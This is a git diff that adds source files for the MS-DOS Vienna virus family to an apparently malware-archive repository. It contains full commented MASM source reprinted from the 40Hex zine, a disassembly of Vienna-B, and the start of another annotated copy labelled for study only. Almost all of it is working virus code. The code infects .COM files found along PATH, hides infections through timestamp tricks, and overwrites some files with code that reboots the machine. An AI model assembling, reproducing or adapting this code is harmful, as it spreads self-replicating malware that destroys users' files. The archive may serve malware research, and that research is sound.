+oldate_ DW 0 ;Old date + + ;Use this with (SI + old_att) +oldatt_ DW 0 ;Old file attributes + + + +;Here's where the first three bytes of the original .COM file go.(SI + first_3) + +first3_ EQU $ + INT 20H + NOP + + + +;Here's where the new JMP instruction is worked out + + ;Use this with (SI + jmp_op) +jmpop_ DB 0E9H ;Start of JMP instruction + + ;Use this with (SI + jmp_dsp) +jmpdsp_ DW 0 ;The displacement part + + + +;This is the type of file we're looking to infect. (SI + f_spec) + +fspec_ DB '*.COM',0 + + ;Use this with (SI + path_ad) +pathad_ DW 0 ;Path address + + ;Use this with (SI + nam_ptr) +namptr_ DW 0 ;Pointer to start of file name + + ;Use this with (SI + env_str) +envstr_ DB 'PATH=' ;Find this in the environment + + ;File name workspace (SI + wrk_spc) +wrkspc_ DB 40h dup (0) + + ;Use this with (SI + dta) +dta_ DB 16h dup (0) ;Temporary DTA goes here + + ;Use this with (SI + dta_tim) +dtatim_ DW 0,0 ;Time stamp in DTA + + ;Use this with (SI + dta_len) +dtalen_ DW 0,0 ;File length in the DTA + + ;Use this with (SI + dta_nam) +dtanam_ DB 0Dh dup (0) ;File name in the DTA + + ;Use this with (SI + reboot) +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + + +;***************************************************************************** +;The virus needs to know a few details about its own size and the size of its +; code portion. Let the assembler figure out these sizes automatically. +;***************************************************************************** + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP + + +;***************************************************************************** +;Because this code is being appended to the end of an executable file, the +; exact address of its variables cannot be known. All are accessed as offsets +; from SI, which is represented as vir_dat in the below declarations. +;***************************************************************************** + +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code + + CODE ENDS +END VCODE + + + + + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.vienna.asm b/MSDOS/Virus.MSDOS.Unknown.vienna.asm new file mode 100644 index 00000000..9a064c68 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.vienna.asm @@ -0,0 +1,605 @@ +;40Hex Volume 1 Issue 2 0011 + +; Vienna and Violator Viruses + +; The Vienna virus, since it's source code was released, has become +; one of the most common viruses ever. Not only that but there are +; over 20 known strains of this virus. We at 40Hex want to add on to +; the list by giving out the source for the orginal Vienna virus as +; well as the Violator-B source by Rabid. + +;------------------------------------------------------------------------------ + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +;***************************************************************************** +;Start out with a JMP around the remains of the original .COM file, into the +;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS. +;The rest of the file (first 3 bytes) are stored in the virus data area. +;***************************************************************************** + +VCODE: JMP virus + +;This was the rest of the original .COM file. Tiny and simple, this time + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + +;************************************************************ +; The actual virus starts here +;************************************************************ + +v_start equ $ + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + +;************************************************************* +; Check the DOS version +;************************************************************* + + MOV AH,30H + INT 21H + + CMP AL,0 ;0 means it's version 1.X + + JNZ dos_ok ;For version 2.0 or greater + JMP quit ;Don't try to infect version 1.X + +;************************************************************* +; Here if the DOS version is high enough for this to work +;************************************************************* + +dos_ok: PUSH ES + +;************************************************************* +; Get DTA address into ES:BX +;************************************************************* + + MOV AH,2FH + INT 21H + +;************************************************************* +; Save the DTA address +;************************************************************* + + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + + POP ES + +;************************************************************* +; Set DTA to point inside the virus data area +;************************************************************* + + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + +;************************************************************ +; Find the "PATH=" string in the environment +;************************************************************ + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +;************************************************************ +; Loop to check for the next four characters +;************************************************************ + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the next character + + POP SI + POP ES + MOV [SI+path_ad],DI ;Save the address of the PATH + MOV DI,SI + ADD DI,wrk_spc ;File name workspace + MOV BX,SI ;Save a copy of SI + ADD SI,wrk_spc ;Point SI to workspace + MOV DI,SI ;Point DI to workspace + JMP SHORT slash_ok + +;********************************************************** +; Look in the PATH for more subdirectories, if any +;********************************************************** + +set_subdir: + CMP WORD PTR [SI+path_ad],0 ;Is PATH string ended? + JNZ found_subdir ;If not, there are more subdirectories + JMP all_done ;Else, we're all done + +;********************************************************** +; Here if there are more subdirectories in the path +;********************************************************** + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH ;DS points to environment segment + MOV DI,SI + MOV SI,ES:[DI+path_ad] ;SI = PATH address + ADD DI,wrk_spc ;DI points to file name workspace + +;*********************************************************** +; Move subdirectory name into file name workspace +;*********************************************************** + +move_subdir: + LODSB ;Get character + CMP AL,';' ;Is it a ';' delimiter? + JZ moved_one ;Yes, found another subdirectory + CMP AL,0 ;End of PATH string? + JZ moved_last_one ;Yes + STOSB ;Save PATH marker into [DI] + JMP SHORT move_subdir + +;****************************************************************** +; Mark the fact that we're looking through the final subdirectory +;****************************************************************** + +moved_last_one: + MOV SI,0 + +;****************************************************************** +; Here after we've moved a subdirectory +;****************************************************************** + +moved_one: + POP BX ;Pointer to virus data area + POP DS ;Restore DS + MOV [BX+path_ad],SI ;Address of next subdirectory + NOP + +;****************************************************************** +; Make sure subdirectory ends in a "\" +;****************************************************************** + + CMP CH,'\' ;Ends with "\"? + JZ slash_ok ;If yes + MOV AL,'\' ;Add one, if not + STOSB + +;****************************************************************** +; Here after we know there's a backslash at end of subdir +;****************************************************************** + +slash_ok: + MOV [BX+nam_ptr],DI ;Set filename pointer to name workspace + MOV SI,BX ;Restore SI + ADD SI,f_spec ;Point to "*.COM" + MOV CX,6 + REPZ MOVSB ;Move "*.COM",0 to workspace + + MOV SI,BX + +;******************************************************************* +; Find first string matching *.COM +;******************************************************************* + + MOV AH,4EH + MOV DX,wrk_spc +; NOP ;MASM will add this NOP here + ADD DX,SI ;DX points to "*.COM" in workspace + MOV CX,3 ;Attributes of Read Only or Hidden OK + INT 21H + + JMP SHORT find_first + +;******************************************************************* +; Find next ASCIIZ string matching *.COM +;******************************************************************* + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirectory + +;******************************************************************* +; Here when we find a file +;******************************************************************* + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1FH ;Mask to remove all but seconds + CMP AL,1FH ;62 seconds -> already infected + JZ find_next ;If so, go find another file + + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long? + JA find_next ;If too long, find another one + + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + + MOV DI,[SI+nam_ptr] ;DI points to file name + PUSH SI ;Save SI + ADD SI,dta_nam ;Point SI to file name + +;******************************************************************** +; Move the name to the end of the path +;******************************************************************** + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars ;Move characters until we find a 00 + +;******************************************************************** +; Get File Attributes +;******************************************************************** + + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc ;Point to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H + + MOV [SI+old_att],CX ;Save the old attributes + +;******************************************************************** +; Rewrite the attributes to allow writing to the file +;******************************************************************** + + MOV AX,OFFSET 4301H ;Set attributes + AND CX,OFFSET 0FFFEH ;Set all except "read only" (weird) + MOV DX,wrk_spc ;Offset of \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + +;******************************************************************** +; Open Read/Write channel to the file +;******************************************************************** + + MOV AX,OFFSET 3D02H ;Read/Write + MOV DX,wrk_spc ;Offset to \path\name in workspace +; NOP ;MASM will add this NOP here + ADD DX,SI ;Point to \path\name + INT 21H + + JNB opened_ok ;If file was opened OK + JMP fix_attr ;If it failed, restore the attributes + +;******************************************************************* +; Get the file date & time +;******************************************************************* + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + +;******************************************************************* +; Get current system time +;******************************************************************* + + MOV AH,2CH + INT 21H + + AND DH,7 ;Last 3 bits 0? (once in eight) + JNZ seven_in_eight + +;******************************************************************* +; The special "one in eight" infection. If the above line were in +; its original form, this code would be run 1/8 of the time, and +; rather than appending a copy of this virus to the .COM file, the +; file would get 5 bytes of code that reboot the system when the +; .COM file is run. +;******************************************************************* + + MOV AH,40H ;Write to file + MOV CX,5 ;Five bytes + MOV DX,SI + ADD DX,reboot ;Offset of reboot code in data area + INT 21H + + JMP SHORT fix_time_stamp + + NOP + +;****************************************************************** +; Here's where we infect a .COM file with this virus +;****************************************************************** + +seven_in_eight: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 +; NOP ;MASM will add this NOP here + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + + JB fix_time_stamp ;Quit, if read failed + + CMP AX,3 ;Were we able to read all 3 bytes? + JNZ fix_time_stamp ;Quit, if not + +;****************************************************************** +; Move file pointer to end of file +;****************************************************************** + + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Quit, if it didn't work + + MOV CX,AX ;DX:AX (long int) = file size + SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here) + MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction + + ADD CX,OFFSET c_len_y + MOV DI,SI ;Point DI to virus data area + SUB DI,OFFSET c_len_x + ;Point DI to reference vir_dat, at start of pgm + MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm + +;******************************************************************* +; Write virus code to file +;******************************************************************* + + MOV AH,40H + + MOV_CX virlen ;Length of virus, in bytes + + MOV DX,SI + SUB DX,OFFSET codelen ;Length of virus code, gives starting + ; address of virus code in memory + INT 21H + + JB fix_time_stamp ;Jump if error + + CMP AX,OFFSET virlen ;All bytes written? + JNZ fix_time_stamp ;Jump if error + +;********************************************************************** +; Move file pointer to beginning of the file +;********************************************************************** + + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + + JB fix_time_stamp ;Jump if error + +;********************************************************************** +; Write the 3 byte JMP at the start of the file +;********************************************************************** + + MOV AH,40H + MOV CX,3 + MOV DX,SI ;Virus data area + ADD DX,jmp_op ;Point to the reconstructed JMP + INT 21H + +;********************************************************************** +; Restore old file date & time, with seconds modified to 62 +;********************************************************************** + +fix_time_stamp: + MOV DX,[SI+ol_date] ;Old file date + MOV CX,[SI+old_tim] ;Old file time + AND CX,OFFSET 0FFE0H + OR CX,1FH ;Seconds = 31/30 min = 62 seconds + MOV AX,OFFSET 5701H + INT 21H + +;********************************************************************** +; Close File +;********************************************************************** + + MOV AH,3EH + INT 21H + +;********************************************************************** +; Restore Old File Attributes +;********************************************************************** + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] ;Old Attributes + MOV DX,wrk_spc +; NOP ;MASM will add this NOP + ADD DX,SI ;DX points to \path\name in workspace + INT 21H + +;********************************************************************** +; Here when it's time to close it up & end +;********************************************************************** + +all_done: + PUSH DS + +;********************************************************************** +; Restore old DTA +;********************************************************************** + + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + + POP DS + +;************************************************************************* +; Clear registers used, & do a weird kind of JMP 100. The weirdness comes +; in since the address in a real JMP 100 is an offset, and the offset +; varies from one infected file to the next. By PUSHing an 0100H onto the +; stack, we can RET to address 0100H just as though we JMPed there. +;********************************************************************** + +quit: + POP CX + XOR AX,AX + XOR BX,BX + XOR DX,DX + XOR SI,SI + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + + RET 0FFFFH + +;************************************************************************ +;The virus data starts here. It's accessed off the SI register, per the +; comments as shown +;************************************************************************ + +vir_dat EQU $ + + ;Use this with (SI + old_dta) +olddta_ DW 0 ;Old DTA offset + + ;Use this with (SI + old_dts) +olddts_ DW 0 ;Old DTA segment + + ;Use this with (SI + old_tim) +oldtim_ DW 0 ;Old Time + + ;Use this with (SI + ol_date) +oldate_ DW 0 ;Old date + + ;Use this with (SI + old_att) +oldatt_ DW 0 ;Old file attributes + +;Here's where the first three bytes of the original .COM file go.(SI + first_3) + +first3_ EQU $ + INT 20H + NOP + +;Here's where the new JMP instruction is worked out + + ;Use this with (SI + jmp_op) +jmpop_ DB 0E9H ;Start of JMP instruction + + ;Use this with (SI + jmp_dsp) +jmpdsp_ DW 0 ;The displacement part + +;This is the type of file we're looking to infect. (SI + f_spec) + +fspec_ DB '*.COM',0 + + ;Use this with (SI + path_ad) +pathad_ DW 0 ;Path address + + ;Use this with (SI + nam_ptr) +namptr_ DW 0 ;Pointer to start of file name + + ;Use this with (SI + env_str) +envstr_ DB 'PATH=' ;Find this in the environment + + ;File name workspace (SI + wrk_spc) +wrkspc_ DB 40h dup (0) + + ;Use this with (SI + dta) +dta_ DB 16h dup (0) ;Temporary DTA goes here + + ;Use this with (SI + dta_tim) +dtatim_ DW 0,0 ;Time stamp in DTA + + ;Use this with (SI + dta_len) +dtalen_ DW 0,0 ;File length in the DTA + + ;Use this with (SI + dta_nam) +dtanam_ DB 0Dh dup (0) ;File name in the DTA + + ;Use this with (SI + reboot) +reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0 + +lst_byt EQU $ ;All lines that assemble into code are + ; above this one + +;***************************************************************************** +;The virus needs to know a few details about its own size and the size of its +; code portion. Let the assembler figure out these sizes automatically. +;***************************************************************************** + +virlen = lst_byt - v_start ;Length, in bytes, of the entire virus +codelen = vir_dat - v_start ;Length of virus code, only +c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code +c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP + +;***************************************************************************** +;Because this code is being appended to the end of an executable file, the +; exact address of its variables cannot be known. All are accessed as offsets +; from SI, which is represented as vir_dat in the below declarations. +;***************************************************************************** + +old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset +old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment +old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp +ol_date = oldate_ - vir_dat ;Displacement to old file date stamp +old_att = oldatt_ - vir_dat ;Displacement to old attributes +first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM +jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode +jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP +f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string +path_ad = pathad_ - vir_dat ;Displacement to the path address +nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer +env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string +wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace +dta = dta_ - vir_dat ;Displacement to the temporary DTA +dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA +dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA +dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA +reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code + + CODE ENDS +END VCODE + + diff --git a/MSDOS/Virus.MSDOS.Unknown.viennaas.asm b/MSDOS/Virus.MSDOS.Unknown.viennaas.asm new file mode 100644 index 00000000..159c0c80 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.viennaas.asm @@ -0,0 +1,332 @@ + ; disassembly of vienna-b1 virus + + + jmp label1 +message: + db "ello, world!$" ;************* + mov ah,09h ;print string ; part of * + mov dx,message ;point to string ; original * + int 21h ;call msdos ; com file. * + int 20h ;terminate program ;************* +label1: + push cx ; + mov dx,0312h ;start of variables + cld ;clear direction + mov si,dx ;si = start of variables + add si,000Ah + mov di,0100h ;destination = 0100h + mov cx,0003 ;three bytes to move + repz movsb + mov si,dx ;si = 0312h (start of variables) + mov ah,30h ;get dos version number + int 21h ;call msdos + cmp al,00h ;old version? + jnz label2 ;no + jmp label3 ;yes +label2: + push es ;store extra segment + mov ah,2fh ;get DTA address + int 21h ;call msdos + mov [si+0000h],bx ;save DTA offset + mov [si+0002],es ;save DTA segment + pop es ;restore extra segment address + mov dx,005fh ; + nop + add dx,si ;pointer to new DTA address + mov ah,1ah ;set DTA address + int 21h ;call msdos + push es ;save extra segment address again + push si ;save source index register + mov es,[002ch] + mov di,0000h +label4: + pop si + push si + add si,001ah + lodsb ;get byte from source address + mov cx,8000h ; + repnz scasb + mov cx,0004h ; +label7: + lodsb ;get byte from source + scasb ;store byte + jnz label4 ;jump back till done + loop label7 + pop si ;restore source index register + pop es ;and extra segment + mov [si+0016h],di + mov di,si + add di,001fh + mov bx,si + add si,001fh + mov di,si + jmp label5 +label13: + cmp word ptr [si+0016h],00h + jnz label5 + jmp label6 + push ds + push si + es mov ds,[002ch] + mov di,si + es mov si,[di+0016h] + add di,001fh +label10: + lodsb ;get byte + cmp al,3bh + jz label8 + cmp al,00h + jz label9 + stosb ;store byte + jmp label10 +label9: + mov si,0000h +label8: + pop bx + pop ds + mov [bx+0016h],si + cmp byte ptr [di-01h],5ch + jz label5 + mov al,5ch + stosb ;store byte +label5: + mov [bx+0018h],di + mov si,bx + add si,0010h + mov cx,0006h + repz movsb + mov si,bx + mov ah,4eh ;search for first match + mov dx,001fh ;pointer to asciiz file spec.-si + nop + add dx,si ;pointer to asciiz file spec. + mov cx,0003h ;attribute to us in search match + int 21h ;call msdos + jmp label11 +label14: + mov ah,4fh ;search for next match + int 21h ;call msdos +label11: + jnb label12 + jmp label13 +label12: + mov ax,[si+0075h] + and al,1fh + cmp al,1fh + jz label14 + cmp word ptr [si+0079h],0fa00h + ja label14 + cmp word ptr [si+0079h],0ah + jb label14 + mov di,[si+0018h] + push si + add si,007dh +label15: + lodsb + stosb + cmp al,00h + jnz label15 + pop si + mov ax,4300h ;get file attributes + mov dx,001fh ;pointer to asciiz file spec. -si + nop + add dx,si ;pointer to file spec. + int 21h ;call msdos + mov [si+0008h],cx + mov ax,4301 ;set file attributes + and cx,0fffeh ;new attributes + mov dx,001fh ;pointer to asciiz file spec. -si + nop + add dx,si ;pointer to asciiz file spec. + int 21h ;call msdos + mov ax,3d02h ;open file (handle) + mov dx,001fh ;pointer to asciiz file spec. -si + nop + add dx,si ;pointer to asciiz file spec. + int 21h ;call msdos + jnb label16 + jmp label17 +label16: + mov bx,ax + mov ax,5700h ;get time and date + int 21h ;call msdos + mov [si+0004],cx ;store time + mov [si+0006],dx ;store date + mov ah,2ch ;get system time + int 21h ;call msdos + and dh,07h + jnz label18 + mov ah,40h ;write to file or device (handle) + mov cx,0005h ;number of bytes to write + mov dx,si ;get file spec. address -8ah + add dx,008ah ;add 8ah to get file spec. address + int 21h ;call msdos + jmp label19 + nop +label18: + mov ah,3fh ;read file or device (handle) + mov cx,0003h ;number of bytes to read + mov dx,000ah ;point to buffer -si + nop + add dx,si ;pointer to buffer area + int 21h ;call msdos + jb label19 + cmp ax,0003h ;number of bytes read + jnz label19 + mov ax,4202h ;move file pointer + ;offset from end of file + mov cx,0000h ;offset desired + mov dx,0000h ;as above + int 21h ;call msdos + jb label19 + mov cx,ax + sub ax,0003h + mov [si+000eh],ax + add cx,02f9h + mov di,si + sub di,01f7h + mov [di],cx + mov ah,40h ;write to file or device (handle) + mov cx,0288h ;number of bytes to write + mov dx,si ; + sub dx,01f9h ;dx = pointer to buffer of data write + int 21h ;call msdos + jb label19 + cmp ax,0288h ;288h bytes written? + jnz label19 + mov ax,4200h ;move file pointer + ;offset from beginning of file + mov cx,0000h ;desired offset + mov dx,0000h ;desired offset + int 21h ;call msdos + jb label19 + mov ah,40h ;write to file or device (handle) + mov cx,0003h ;number of bytes to write + mov dx,si ; + add dx,000dh ;pointer to buffer of data write + int 21h ;call msdos +label19: + mov dx,[si+0006h] + mov cx,[si+0004h] + and cx,0ffe0h + or cx,001fh + mov ax,5701h ;set date and time + int 21h ;call msdos + mov ah,3eh ;close file + int 21h ;call msdos +label17: + mov ax,4301h ;set file attributes + mov di,[si+0008h] + mov dx,001fh ;pointer to asciiz file spec. -si + nop + add dx,si ;pointer to ascii file spec. + int 21h ;call msdos +label6: + push ds ;save data segment + mov ah,1ah ;set DTA address + mov dx,[si+0000] ;retrieve original DTA + mov ds,[si+0002] ;and data segment of dta + int 21h ;call msdos + pop ds ;restore DTA +label3: + pop cx + xor ax,ax ;clear accumulator + xor bx,bx ;and bx + xor dx,dx ;and dx + xor si,si ;and si + mov di,0100h ;pointer to execution program to be + ;run now virus has finished + push di + xor di,di ;clear di + ret 0ffffh ;? + + + +start_of_variables: +0312 80003E ADD BYTE PTR [BX+SI],3E +0315 40 inc ax +0316 D592 AAD 92 +0318 8511 TEST dx,[BX+DI] +031A 2000 AND [BX+SI],AL + +031C EB0E JMP 032ch ;jump address to place at + ;beginning of source program +031E 48 DEC ax +031F E91600 JMP 0338 + db "*.COM" +0327 0027 ADD [BX],ah +0329 0022 ADD [BP+SI],ah +032B 03 + db "PATH=DANGER!.COM EM.COM" +032C 5041 ADD dx,[BX+SI+41] +032E 54 push SP +032F 48 DEC ax +0330 3D4441 cmp ax,4144 +0333 4E DEC SI +0334 47 inc DI +0335 45 inc BP +0336 52 push dx +0337 212E434F AND [4F43],BP +033B 4D DEC BP +033C 00454D ADD [DI+4D],AL +033F 2E CS: +0340 43 inc BX +0341 4F DEC DI +0342 4D DEC BP +0343 0000 ADD [BX+SI],AL +0345 43 inc BX +0346 4F DEC DI +0347 4D DEC BP +0348 0020 ADD [BX+SI],ah +034A 2020 AND [BX+SI],ah +034C 2020 AND [BX+SI],ah +034E 2020 AND [BX+SI],ah +0350 2020 AND [BX+SI],ah +0352 2020 AND [BX+SI],ah +0354 2020 AND [BX+SI],ah +0356 2020 AND [BX+SI],ah +0358 2020 AND [BX+SI],ah +035A 2020 AND [BX+SI],ah +035C 2020 AND [BX+SI],ah +035E 2020 AND [BX+SI],ah +0360 2020 AND [BX+SI],ah +0362 2020 AND [BX+SI],ah +1463:0364 2020 AND [BX+SI],ah +1463:0366 2020 AND [BX+SI],ah +1463:0368 2020 AND [BX+SI],ah +1463:036A 2020 AND [BX+SI],ah +1463:036C 2020 AND [BX+SI],ah +1463:036E 2020 AND [BX+SI],ah +1463:0370 2003 AND [BP+DI],AL +1463:0372 3F AAS +1463:0373 3F AAS +1463:0374 3F AAS +1463:0375 3F AAS +1463:0376 3F AAS +1463:0377 3F AAS +1463:0378 3F AAS +1463:0379 3F AAS +1463:037A 43 inc BX +1463:037B 4F DEC DI +1463:037C 4D DEC BP +1463:037D 0305 ADD ax,[DI] +1463:037F 001F ADD [BX],BL +1463:0381 0020 ADD [BX+SI],ah +1463:0383 64 DB 64 +1463:0384 7269 JB 03EF +1463:0386 20D5 AND CH,DL +1463:0388 92 XCHG dx,ax +1463:0389 8511 TEST dx,[BX+DI] +1463:038B 1900 SBB [BX+SI],ax +1463:038D 0000 ADD [BX+SI],AL +1463:038F 44 inc SP +1463:0390 41 inc cx +1463:0391 4E DEC SI +1463:0392 47 inc DI +1463:0393 45 inc BP +1463:0394 52 push dx +1463:0395 212E434F AND [4F43],BP +1463:0399 4D DEC BP +1463:039A 0000 ADD [BX+SI],AL +1463:039C EA0B021358 JMP 5813:020B + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.viennab.asm b/MSDOS/Virus.MSDOS.Unknown.viennab.asm new file mode 100644 index 00000000..5c422bd4 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.viennab.asm @@ -0,0 +1,680 @@ +;***************************************************************************** +; +; *** NOT FOR GENERAL DISTRIBUTION *** The Vienna Virus +; +; This file is for the purpose of virus study only! It should not be passed +; around among the general public. It will be very useful for learning +; how viruses work and propagate. But anybody with access to an assembler +; can turn it into a working virus and anybody with a bit of assembly coding +; experience can turn it into a far more malevolent program than it already +; is. Keep this code in responsible hands! +; +; This program does not check wether or not the .COM file to be infected is +; really a .COM file or simply a misnamed .EXE file. DOS does not rely on the +; file extension, but does a double-check by looking for a signature that +; indicates wether or not a file REALLY is an .EXE file. The virus writer +; apparently did not know this. This virus will take any .EXE file that's +; been renamed to a .COM file and try to infect it, obscuring the signature +; that marks it as an .EXE file. When the infected file is then run, the +; virus code will run first, and then the machine will try to run the .EXE +; header data as though it were code. This is likely to crash the machine, and +; since some later versions of DOS itself contain such misnamed .EXE files, +; it's likely to happen. +; +;****************************************************************************** + +;****************************************************************************** +;It seems that MASM won't always willingly translate ordinary assembly code +; into the byte-for-byte replacement of the code in the Vienna Virus. Since +; MASM is just a 2 pass assembler, it doesn't always have enough information to +; figure out the size of an instruction when it needs to. To be safe, it makes +; its guess on the high side and then adds in unrequested NOPS if it needs to +; pad out the space it allocated. Many of the NOPs in this virus are the result +; of this. But the virus writer seems to have done a bit of hand modification +; to the virus, and as a result, one instance where we'd expect a NOP, there +; isn't one. This macro allows us to mimic that instance, where an ordinary +; MOV CX,xx would otherwise have worked fine. +;****************************************************************************** + +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG $+0100H + +;***************************************************************************** +;Start out with a JMP around the remains of the original .COM file, into the +;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS. +;The rest of the file (first 3 bytes) are stored in the virus data area. +;***************************************************************************** + +VCODE: JMP virus + + +;This was the rest of the original .COM file. Tiny and simple, this time + + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + NOP + + +;************************************************************ +; The actual virus starts here +;************************************************************ + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat ;This is where the virus data starts. + ; The 2nd and 3rd bytes get modified. + CLD ;Pointers will be auto INcremented + MOV SI,DX ;Access data as offset from SI + ADD SI,first_3 ;Point to original 1st 3 bytes of .COM + MOV DI,OFFSET 100H ;`cause all .COM files start at 100H + MOV CX,3 + REPZ MOVSB ;Restore original first 3 bytes of .COM + MOV SI,DX ;Keep SI pointing to the data area + +;************************************************************* +; Check the DOS version +;************************************************************* + + MOV AH,30H + INT 21H + + CMP AL,0 ;0 means it's version 1.X + + JNZ dos_ok ;For version 2.0 or greater + JMP quit ;Don't try to infect version 1.X + + +;************************************************************* +; Here if the DOS version is high enough for this to work +;************************************************************* + +dos_ok: PUSH ES + + +;************************************************************* +; Get DTA address into ES:BX +;************************************************************* + + MOV AH,2FH + INT 21H + +;************************************************************* +; Save the DTA address +;************************************************************* + + + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES ;Save the DTA address + + POP ES + +;************************************************************* +; Set DTA to point inside the virus data area +;************************************************************* + + MOV DX,dta ;Offset of new DTA in virus data area +; NOP ;MASM will add this NOP here + ADD DX,SI ;Compute DTA address + MOV AH,1AH + INT 21H ;Set new DTA to inside our own code + + + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 ;ES:DI points to environment + +;************************************************************ +; Find the "PATH=" string in the environment +;************************************************************ + +find_path: + POP SI + PUSH SI ;Get SI back + ADD SI,env_str ;Point to "PATH=" string in data area + LODSB + MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long + REPNZ SCASB ;Search for first character + MOV CX,4 + +;************************************************************ +; Loop to check for the next four characters +;************************************************************ + +check_next_4: + LODSB + SCASB + JNZ find_path ;If not all there, abort & start over + LOOP check_next_4 ;Loop to check the 